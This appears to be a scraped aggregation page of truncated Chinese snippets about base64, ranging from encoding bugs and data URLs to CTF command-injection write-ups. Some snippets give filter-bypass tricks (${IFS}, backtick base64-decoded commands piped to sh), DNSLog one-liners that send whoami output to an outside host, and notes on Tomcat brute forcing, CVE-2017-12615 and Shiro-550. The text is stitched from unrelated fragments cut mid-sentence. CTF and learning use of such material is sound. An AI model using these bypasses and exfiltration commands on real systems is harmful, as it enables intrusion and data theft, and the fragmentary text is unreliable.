今天调试的时候发现，iOS这边用base64编码提交图片给后台的时候，后台竟然报“base64不合法”，后来一查，接收到的base64串中“+”都变成了“ ”。...原因 原来是我使用了application/x-www-form-urlencoded方式post的数据，在url传输base64数据的时候自动把特殊符号“+”转成了空格。...解决 后台把空格转成“+”后再解码 iOS端使用form-data方式提交
从android源码中找出来的一个c语言版，base64的实现，亲测可用。...Since all base64 input is an integral number of octets, only the ---------------------------...[output[0]]; target[datalength++] = Base64[output[1]]; target[datalength++] = Base64[...output[2]]; target[datalength++] = Base64[output[3]]; } /* Now we worry about padding...) >> 4; target[tarindex+1] = ((pos - Base64) & 0x0f) <<
如果被省略，则默认值为 text/plain;charset=US-ASCII。...如果数据包含 RFC 3986 中定义为保留字符的字符或包含空格符、换行符或者其他非打印字符，这些字符必须进行百分号编码（又名“URL 编码”）。...注意逗号如何百分号编码为 %2C，空格字符如何编码为 %20。...在 Unix 系统编码 在 Linux 和 macOS 系统中使用命令行 base64 完成对文件或者字符串的编码（或者，另一种方案是，使用带有 -m 参数的 uuencode 工具）。...因为 data URL 也是 URL，所以 data 会用空白符（换行符、制表符或空格）来对它进行格式化，但使用 base64 编码时会出现一些实际问题。
但是没有显示，这里可能有特殊字符无法回显，所先用base64编码再输出看看。 回显正常，将其base64解码即可拿到flag。 过滤cat 第一步还是一样，拼接命令行语句看看根目录。...使用more命令，然后进行base64解码，即可得到flag。 过滤空格 前面的步骤还是一样，这里的重点在于如何绕过空格。...Linux中绕过空格的几种方式 cat flag.txt cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt catflag.txt 最后得到base64...编码的flag，拿去解码即可。...原来之前不用base64编码也是可以的，输出变成了注释所以没法正常回显。 综合过滤练习 组合拳 过滤了 ; 符号，翻看URL编码，%0a可以实现换行，用%0a代替 ; 符号。
它会在每 chunklen（默认为 76）个字符后边插入 end（默认为空格 " "） // 此处不用chunk_split函数处理也行，对于标签显示图像没影响 // 字符串双引号中数组用.../html;base64,base64编码的HTML代码 data:text/css,CSS代码 data:text/css;base64,base64编码的CSS代码 data:text/javascript...,Javascript代码 data:text/javascript;base64,base64编码的Javascript代码 data:image/gif;base64,base64编码的gif图片数据...data:image/png;base64,base64编码的png图片数据 data:image/jpeg;base64,base64编码的jpeg图片数据 data:image/x-icon;base64...,base64编码的icon图片数据 base64简单地说，它把一些 8-bit 数据翻译成标准 ASCII 字符，网上有很多免费的base64 编码和解码的工具
谈谈绕过的方法 在这之前，我们先来总结一下常用的命令注入绕过方法，还是挺有意思的，会对 Linux 指令更加熟练（下面有些 Linux 命令只在 bash 下有效，在 zsh 里面可能会不行） 2019.12.19...Linux 下会有很多可以绕过空格的方法，因为题目可能会限制我们不能输入空格，但是我们可以通过一些特殊的字符绕过，现在假设我们的环境是 Linux ，当前环境下有一个名叫 file1 的文件，我们现在要访问里面的内容...在 Linux 下，有很多方法可以绕过空格， {IFS} IFS9 {IFS}9 都表示空格，可以绕过空格，这里 IFS 表示的是 Linux 下的分隔符 kevin@laptop:~$ cat$IFS...编码绕过 这个真的是骚到我了，并且知道了原来 Linux 系统自带 base64 编码解码命令，先来看下是怎么用的吧 [root@localhost ~]# echo cat file1|base64...Linux 命令执行，那我们就可以输入下面的命令来进行绕过查看文件内容了 kevin@laptop:~$ `echo Y2F0IGZpbGUxCg== |base64 -d`
~0,1% //取出a的值，从第0个位置开始，取1个值此时因为w总共就1个字符 %cmd:~0,6% //取出a的值，从第0个位置开始，取6个值此时因为whoami总共就6个字符 由此可以看出来截取字符串的语法为...2.5 绕过空格过滤 在前端页面中可以利用%00,%0a,%0d等url编码来绕过空格的过滤， 利用大括号来绕过空格限制 {ls,-al} {ping,-c,2,127.0.0.1} ${IFS}绕过空格...shell根据IFS存储的值，可以是空格（040）、tab（011）、换行符（012）或者其他自定义符号，来解析输入和输出的变量值。...这里echo -n是不进行自动换行 2.6 利用base64绕过命令限制 echo whoami|base64 //先输出whoami的base64编码 `echo dwhvYW1pCg==|base64...-d` //将其base64解码 2.7 hex编码绕过 # cat flag.php -> 63617420666c61672e706870 echo "63617420666c61672e706870
[TOC] 0x00 快速入门 0x01 加密编码 base64 命令 描述：使用 Base64 编码/解码文件或标准输入输出,数据以 RFC 3548 规定的 Base64 字母格式进行编码。...解码时输入数据(加密流)可能包含一些非有效 Base64 字符的新行字符。 #用法： base64 [选项]......md5sum –c a.md5 a.txt: OK uuidgen 描述：uuid码全称是通用唯一识别码(universally uniqie Identifier,UUID),而uuidgen命令则是linux...中生成和获取uuid的工具，HP和RedHat上可以使用uuidgen来生成,solaris上命令makeuuid 实际案例： #示例1.Linux生成uuid随机数(可以作为随机密码) $uuidgen...8d469ba5f661a779ed6d73537f3c2dfcaba46d8b check.sh cd3eccb06410c7b3d6cd01f7d1f0d0bbefe446d3 test.txt #首先将命令产生的消息摘要保存在
不会因为返回值受限一定要把它把传递给某个变量才可以。...后台进程 后台进程，是看有没有用后台进程，比如echo 123，放后台之后，它其实就会产生一个ID号的。...那么像下面这种可能用的更多了，就是用base64的编码去做一个绕过，因为base64是命令在Linux中是一般来说都是存在的，整个可能参数上会有点区别，大写的就是像第二个参数，base64-D，那么我们对它打印出来的结果做...base64编码就是base64-D大写的D那么这样的话其实解出来之后，它其实就是打一个whoami并没有去执行命令，对不对？...那么所以说编码方式在实际利用中其实是比较多的，因为用通过base64的话，基本上会过滤掉任何关键字。
[TOC] (1) HTML编码规范 用两个空格来代替制表符（tab），嵌套元素应当缩进一次（即两个空格）; 属性的定义确保全部使用双引号，绝不要使用单引号 不要省略可选的结束标签（closing tag...对于以逗号分隔的属性值每个逗号后面都应该插入一个空格（例如，box-shadow）。 为选择器分组时，将单独的选择器单独放在一行，声明块的右花括号应当单独成行。...Javascript代码> data:text/javascript;base64, data:image/gif;base64,base64编码的gif图片数据...data:image/png;base64,base64编码的png图片数据 data:image/jpeg;base64,base64编码的jpeg图片数据 data:image/x-icon;base64...,base64编码的icon图片数据
（二）base64隐写 可以看出一串base64的编码最多也只有4bit的隐写空间，所以实现隐写往往需要大量编码串。...,隐写时把明文的每个 字符用8位二进制数表示，由此将整个明文串转为bit串，按顺序填入base64编码串的可隐写位中即可实现隐写。)...base64编码 1个字节对应8个比特，一个可打印字符对应6个比特，即一个单元，将目标字串变成二进制数据流，然后6个一单元划分对应成码表的索引，用base64码表中的字符替换。...、零宽连字、零宽不连字 零宽字符在浏览器中对应的转义字符 零宽空格 --- 零宽不连字 --- 零宽连字 --- 零宽字符在Unicode中的编码为 \u200B \u200C \u200D...安装： 推荐在linux环境下，下载stegdetect 源码包之后进入其目录，执行下面指令 linux32 .
，那么在插入该数据的时候就会产生主键冲突，从而产生报错信息，将我们需要的数据通过报错信息外带。...,d2VsY29tZSB0byB0aGUgempjdGY= filter伪协议绕过死亡之die、exit，利用base64编码绕过、rot13编码绕过和多种过滤器绕过方法 伪协议绕过死亡代码<?...，再使用linux命令将编码解读成我们要执行的命令。...我们可以将cat flag.php进行base64编码，再用base -d命令解码。...echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 利用特性来绕过，可以用 [ (空格) + .
丢winhex发现有文件，把文件挂载到linux上面 ? 用strings命令查找相关文件，得到flag ?...------------------------------------------------- 第五题： 得到pdf文件，浏览器打开，全选，复制到文本，发现有密文，用.代替A，用-代替B，用/代替空格...到“与佛论禅”站点进行解码，加上解码格式“佛曰：”，解码得到字符串，字符串看着像base64编码，解码发现不行，ROT13解码再base64解码得到flag。 ?...解压得到文件，发现里面是base64，解码是乱码，上网查看关于base64隐写编码博客并学习，编写脚本，得到flag ?...---------------------------------------------------------------------------------- 第十二题： 文本形式打开文件，发现linux
“转义符”的特殊含义 ` 反引号：反引号括起来的内容是系统命令，在Bash中先会执行它和() $() 和反引号作用相同，用来引用系统命令 # 在shell脚本中,#开头的行代表注释 $ 用于调用变量的值，...如需要调用变量name的值时，需要用$name的方式得到 \ 转义符，跟在\之后的特殊字符将失去特殊含义，变为普通字符 ---- DNSLog带出命令 Linux: curl http://`whoami...`.uvlmxy.dnslog.cn ping `whoami`.uvlmxy.dnslog.cn Windows: ping %USERNAME%.uvlmxy.dnslog.cn 绕过空格限制 $...编码 root@mon-one:~/tmp/tmp# `echo "Y2F0IHRtcA=="|base64 -d` one hh nihao root@mon-one:~/tmp/tmp# echo..."Y2F0IHRtcA=="|base64 -d|bash one hh nihao 单引号/双引号 root@mon-one:~/tmp/tmp# ca''t tm""p one hh nihao
Unicode UTF编码 三、Base64编码 base64 编码规则 四、URL编码 URL URL编码 五、结语 Part.1 进制转换与...： 非打印字符： 0~32，规定了一些特殊的用途, 当终端设备或者打印机遇上这些字符时, 就要做一些约定的动作，比如空格、换行等。...Part.3 Base64编码 Base64 ASCII码是把字符转换为二进制数，Base64则是把二进制数编码成字符。...在linux中快速编码（-n表示不添加换行符）： 在linux中解码： 使用python2编码： 使用python2解码：...+比较特殊，它在URL中会被视为空格。 有办法绕过浏览器的自动解码呢？ 答案是：可以对字符进行二次URL编码。
，即掩码=””（无空格），因此密码被隐藏，没有任何字符串、符号。...这可以防止 Spyder 控制台在按下空格键时跳下。抑制的默认值为True。 advpass() 方法有一个显示功能，当按下 Left-Ctrl 键时，它将切换用户输入密码的可见性。...base64() base64 编码和解码功能都需要一个类似字节的对象。要将字符串转换为字节，我们必须使用 Python 的内置编码函数对字符串进行编码。...导入用于编码和解码字符串的 base64 模块 import base64 string = "haiyong" # 编码字符串 encode = base64.b64encode(string.encode...模块编码，即字符串被转换为字节码，然后在base64模块的帮助下再次将字节码解码为其原始字符串，即“haiyong”。
编码进行传输，所以可以通过抓取数据包 [7e99916c1d36fa341b6c866eae374b58.jpeg] 其中Authorization字段的值为Basic，说明为base64编码，dG9tY2F0OnRvbWNhdA...==解码后为tomcat:tomcat，格式为账号:密码，我们可以使用BurpSuite进行暴力破解，对payload进行base64编码 [7d187a60a4b6ff4d8e982a8680dfc164...+ [75f8f7adcefa82051cba47f90800bc83.jpeg] 注意：这个修改似乎和允许外部访问war包不是同一个设置 PUT方法任意文件写入(CVE-2017-12615) 漏洞产生原因为...或者是windows都可以绕过，如果是windows下还可以以::$DATA、%20空格等结尾 使用/结尾，响应码为201，说明成功写入，响应码如果为204也表示成功写入，但是说明原来存在相同文件名的文件...和Windows下实现不同，在Linux下不会产生此漏洞，而在Windows下，CreateProcess中的参数为bat文件或是cmd文件时，会调用cmd.exe，导致最后传入的参数为cmd.exe
我猜测他们遇到的问题大概如下： 我们的接口协议上，都会将请求数据做一次base64编码，然后放到data参数上。...然后某些数据做base64编码后有+，如{"notes":"代码"}base64编码为eyJub3RlcyI6IuS7o+eggSJ9Cg==。...复制代码 特例就是空格会被编码为+号，反之，+号会被解码为空格！...注：在新的RFC 2396规范中，空格其实也可以编码成%20，而解码时，+号与%20都会被解码为空格。...回想上面的场景，如果将带有+号的base64字符串，原封不动的封装到data=中，再发送给Tomcat等Web服务器，若Tomcat侧做一次urldecode解码，+是不是就变成空格了 而Tomcat确实会做
quoted-printable中，任何 8 位字节值都可以用 3 个字符来进行编码。=后面接两个16进制的数字。 比如对于ASCII的换页符12来说，转换过来就是=0C。...对于可打印的ASCII字符，也就是33到126之间的十进制值，则不需要转义，直接表示他们自己即可。 ASCII 制表符和空格字符、十进制值9和32可以由它们自己表示，除非这些字符出现在编码行的末尾。...在这种情况下，它们需要转义为=09（制表符）或 =20（空格），或者后跟 =（软换行符）作为编码行的最后一个字符。 另外Quoted-Printable 编码数据的一行不得超过76个字符。...base64的原理是通过一个映射表，将二进制编码映射成为64个字符（26个小写字母+26个大写字母+10个数字+加号和斜杠）。...每个Base64字符可以表示6bits的数据，所以3个字节的数据可以用6个Base64字符来表示。 其映射表如下： 总结 以上就是IANA介绍的几种传输编码格式，大家学会了吗？
，当用户勾选RememberMe并登录成功，Shiro会将用户的cookie值序列化，AES加密，接着base64编码后存储在cookie的rememberMe字段中，服务端收到登录请求后，会对rememberMe...的cookie值进行base64解码，接着进行AES解密，然后反序列化。...Crypto.Cipher ——>手动下载Crypto包进行安装 下载地址：https://pypi.org/simple/pycrypto/ 问题二： error: command ‘x86_64-linux-gnu-gcc...5、总结 Shiro-550漏洞产生的根本原因就是因为AES加密的key硬编码在源码中，从而可以被攻击者利用泄露的AES key伪造rememberMe字段生成cookie值，导致反序列化漏洞。...因此，服务器端对cookie值的处理过程反过来就是payload的产生过程：命令=>进行序列化=>AES加密=>base64编码=>产生RememberMe Cookie值。
领取专属 10元无门槛券
手把手带您无忧上云
